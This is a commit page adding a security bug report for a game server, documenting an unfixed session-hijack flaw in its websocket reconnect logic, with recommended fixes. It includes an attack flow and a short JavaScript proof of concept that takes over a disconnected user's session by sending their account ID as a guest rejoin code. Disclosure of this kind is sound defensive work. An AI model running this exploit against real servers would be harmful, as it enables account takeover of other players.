Skip to content

Commit 076f9ee

Browse files
codergautamclaude
andcommitted
docs: Add critical session hijack vulnerability report
Documents a security flaw where attackers can hijack logged-in user sessions by exploiting the shared disconnectedPlayers map namespace. Co-Authored-By: Claude Opus 4.5 <noreply@anthropic.com>
1 parent ed8e656 commit 076f9ee

File tree

1 file changed

+193
-0
lines changed

1 file changed

+193
-0
lines changed

BUG_REPORT_SESSION_HIJACK.md

Lines changed: 193 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,193 @@
1+
# Critical Security Vulnerability: Session Hijacking via Reconnect System
2+
3+
## Summary
4+
5+
A critical authentication bypass vulnerability exists in the player reconnection system that allows an attacker to hijack any logged-in user's active session using only their MongoDB `accountId` (which is not a secret).
6+
7+
## Severity
8+
9+
**CRITICAL** - Complete session takeover, no secret/password required
10+
11+
## Affected File
12+
13+
`ws/classes/Player.js` - `verify()` function
14+
15+
## Vulnerability Details
16+
17+
### Root Cause
18+
19+
The `disconnectedPlayers` map uses two different types of keys depending on whether the user is logged in or a guest:
20+
21+
**Line 382:**
22+
```javascript
23+
disconnectedPlayers.set(this.accountId||this.rejoinCode, this.id);
24+
```
25+
26+
- For **logged-in users**: key = `accountId` (MongoDB `_id`, e.g., `"507f1f77bcf86cd799439011"`)
27+
- For **guests**: key = `rejoinCode` (secure UUID, e.g., `"a1b2c3d4-e5f6-7890-abcd-ef1234567890"`)
28+
29+
However, the guest reconnection path at **lines 164-169** accepts any user-provided `rejoinCode` without validating its format:
30+
31+
```javascript
32+
if(json.rejoinCode) {
33+
const dcPlayerId = disconnectedPlayers.get(json.rejoinCode);
34+
if(dcPlayerId) {
35+
handleReconnect(dcPlayerId, json.rejoinCode);
36+
return;
37+
}
38+
}
39+
```
40+
41+
Since both key types are stored in the same map, an attacker can provide a victim's `accountId` as their `rejoinCode` and hijack their session.
42+
43+
### Attack Flow
44+
45+
```
46+
1. Victim (logged-in user) connects to the game
47+
→ Server creates Player with accountId = "507f1f77bcf86cd799439011"
48+
49+
2. Victim disconnects (network issue, closes tab, etc.)
50+
→ Server executes: disconnectedPlayers.set("507f1f77bcf86cd799439011", victimPlayerId)
51+
52+
3. Attacker connects as GUEST (no secret)
53+
→ Sends: { type: "verify", secret: "not_logged_in", rejoinCode: "507f1f77bcf86cd799439011" }
54+
55+
4. Server processes guest reconnection (lines 164-169):
56+
→ disconnectedPlayers.get("507f1f77bcf86cd799439011") returns victimPlayerId
57+
→ handleReconnect() is called
58+
→ Attacker's websocket is assigned to victim's Player object
59+
60+
5. Attacker now controls victim's session:
61+
- Has victim's username
62+
- Has victim's ELO rating
63+
- Has victim's friends list
64+
- Can play ranked games as victim
65+
- Can perform any action as victim
66+
```
67+
68+
### Why accountId is Not Secret
69+
70+
MongoDB `_id` values can be leaked through:
71+
- API responses (friend lists, leaderboards, game results)
72+
- Browser network inspection
73+
- The `_id` format is predictable (ObjectId contains timestamp + counter)
74+
- Social engineering
75+
76+
## Proof of Concept
77+
78+
```javascript
79+
// Attacker's malicious client code
80+
const ws = new WebSocket("wss://game-server-url");
81+
82+
ws.onopen = () => {
83+
// Send verify as guest, but with victim's accountId as rejoinCode
84+
ws.send(JSON.stringify({
85+
type: "verify",
86+
secret: "not_logged_in",
87+
rejoinCode: "VICTIM_ACCOUNT_ID_HERE" // e.g., "507f1f77bcf86cd799439011"
88+
}));
89+
};
90+
91+
ws.onmessage = (msg) => {
92+
const data = JSON.parse(msg.data);
93+
if (data.type === "verify") {
94+
console.log("Successfully hijacked session!");
95+
// Attacker is now playing as victim
96+
}
97+
};
98+
```
99+
100+
## Impact
101+
102+
- **Complete account takeover** for any user who disconnects
103+
- **ELO manipulation** - attacker can intentionally lose games to tank victim's rating
104+
- **Reputation damage** - attacker can send offensive messages as victim
105+
- **Friend list access** - attacker sees victim's friends, can remove friends
106+
- **No trace** - victim may not realize their session was hijacked
107+
108+
## Recommended Fix
109+
110+
### Option 1: Always Use Secure rejoinCode (Recommended)
111+
112+
Change line 382 to always use the UUID-based `rejoinCode`:
113+
114+
```javascript
115+
// Before (VULNERABLE):
116+
disconnectedPlayers.set(this.accountId||this.rejoinCode, this.id);
117+
118+
// After (FIXED):
119+
disconnectedPlayers.set(this.rejoinCode, this.id);
120+
```
121+
122+
Also update line 196 to look up by `rejoinCode` instead of `accountId`, and send `rejoinCode` to logged-in users in the verify response (line 266-268):
123+
124+
```javascript
125+
this.send({
126+
type: 'verify',
127+
rejoinCode: this.rejoinCode // Add this
128+
});
129+
```
130+
131+
And validate that reconnecting session belongs to the same account:
132+
133+
```javascript
134+
// Line 196-199 updated:
135+
if(json.rejoinCode) {
136+
const dcPlayerId = disconnectedPlayers.get(json.rejoinCode);
137+
if(dcPlayerId) {
138+
const dcPlayer = players.get(dcPlayerId);
139+
// Verify the session belongs to this account
140+
if(dcPlayer && dcPlayer.accountId === valid._id.toString()) {
141+
await handleReconnect(dcPlayerId, json.rejoinCode, valid._id.toString());
142+
return;
143+
}
144+
}
145+
}
146+
```
147+
148+
### Option 2: Namespace the Keys
149+
150+
Prefix keys to prevent collision:
151+
152+
```javascript
153+
// Line 382:
154+
const key = this.accountId ? `account:${this.accountId}` : `guest:${this.rejoinCode}`;
155+
disconnectedPlayers.set(key, this.id);
156+
157+
// Line 165 (guest path):
158+
const dcPlayerId = disconnectedPlayers.get(`guest:${json.rejoinCode}`);
159+
160+
// Line 196 (logged-in path):
161+
const dcPlayerId = disconnectedPlayers.get(`account:${valid._id.toString()}`);
162+
```
163+
164+
### Option 3: Validate rejoinCode Format
165+
166+
Add validation to ensure guest rejoinCodes are UUIDs:
167+
168+
```javascript
169+
// Line 164-169:
170+
if(json.rejoinCode) {
171+
// UUID v4 format check
172+
const uuidRegex = /^[0-9a-f]{8}-[0-9a-f]{4}-4[0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}$/i;
173+
if(uuidRegex.test(json.rejoinCode)) {
174+
const dcPlayerId = disconnectedPlayers.get(json.rejoinCode);
175+
// ... rest of reconnection logic
176+
}
177+
}
178+
```
179+
180+
## Timeline
181+
182+
- **Discovered:** 2026-02-01
183+
- **Status:** Unfixed
184+
185+
## Additional Notes
186+
187+
The secure `rejoinCode` UUID is already being generated for every player at line 34:
188+
189+
```javascript
190+
this.rejoinCode = createUUID();
191+
```
192+
193+
It's just not being used for logged-in users, making this a relatively easy fix.

0 commit comments

Comments
 (0)